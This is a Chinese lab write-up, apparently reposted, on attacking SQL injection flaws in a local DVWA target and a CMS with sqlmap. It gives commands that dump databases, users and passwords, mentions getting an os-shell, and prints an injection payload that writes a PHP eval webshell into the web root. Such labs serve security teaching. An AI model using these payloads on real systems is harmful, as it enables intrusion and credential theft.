标签：sqlmap 截图 使用 192.168 dvwa sql id
实验环境要求：
1、安装win7或win10的笔记本或PC电脑一台，硬盘100GB，内存8GB
2、安装VMware® Workstation 14以上
总体目标：基于centos7搭建dvwa web服务靶机，使用主机上的浏览器和kali虚拟机作为攻击机。使用kali中的sqlmap攻击dvwa上的sql注入和sql盲注漏洞。
任务一、使用kali中的sqlmap攻击dvwa中sql注入漏洞（low）
- 测试dvwa注入点，截图
sqlmap -u "http://192.168.91.80/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=vjv7i3sc3dscsquhofdlfqf5e0"
- 列出所有数据库，截图
- 获取数据表，截图
- 获取数据，截图
- 获取所有管理用户，截图
- 获取用户密码，截图
任务二、使用kali中的sqlmap攻击dvwa中sql注入漏洞（medium）
- 测试dvwa注入点，截图
sqlmap -u "http://192.168.91.80/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=medium;PHPSESSID=vjv7i3sc3dscsquhofdlfqf5e0"
观察可以看出为POST表单
使用Burp劫获POST信息
将信息保存成文件
使用文件进行攻击
- 列出所有数据库，截图
- 获取数据表，截图
- 获取数据，截图
- 获取所有管理用户，截图
- 获取用户密码，截图
任务三、使用kali中的sqlmap攻击dvwa中sql注入漏洞（high）
- 测试dvwa注入点，截图
sqlmap -u "http://192.168.91.80/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=high;PHPSESSID=vjv7i3sc3dscsquhofdlfqf5e0"
观察页面信息为POST表单
原始方法肯定不行，所以再试试刚才的方法
保持请求
试过后发现失败
查看源码后使用二阶SQL注入—second-order
- 列出所有数据库，截图
- 获取数据表，截图
- 获取数据，截图
- 获取所有管理用户，截图
- 获取用户密码，截图
拓展任务一、使用kali中的sqlmap攻击cms中sql注入漏洞
- 测试cms注入点，截图
sqlmap -u http://192.168.91.80/cms/show.php?id=1
- 列出所有数据库，截图
sqlmap -u http://192.168.91.80/cms/show.php?id=1 –dbs
- 获取数据表，截图
sqlmap -u http://192.168.91.80/cms/show.php?id=1 -D dvwa –tables
- 获取数据，截图
sqlmap -u http://192.168.91.80/cms/show.php?id=1 --dump -D dvwa
- 获取所有管理用户，截图
sqlmap -u http://192.168.91.80/cms/show.php?id=1 –users
- 获取用户密码，截图
sqlmap -u http://192.168.91.80/cms/show.php?id=1 –passwords
拓展任务二、通过sql注入漏洞获取sql-shell和os-shell
- 使用sqlmap查看当前用户是否为dba，截图
- 使用sqlmap获取sql-shell，截图
- 使用sqlmap获取os-shell，截图
直接使用命令是错误的
我们需要在靶机修改一些参数来实现
重启服务
- 通过sql注入漏洞上传一句话木马，截图
1' union select 1,"<?php @eval($_POST['pass']);?>" INTO OUTFILE "/var/www/html/dvwa/hack.php" #
执行不了说明没有权限，修改dvwa文件权限
标签：sqlmap,截图,使用,192.168,dvwa,sql,id 来源： https://www.cnblogs.com/jake-jin/p/12885119.html
本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享； 2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关； 3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关； 4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除； 5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。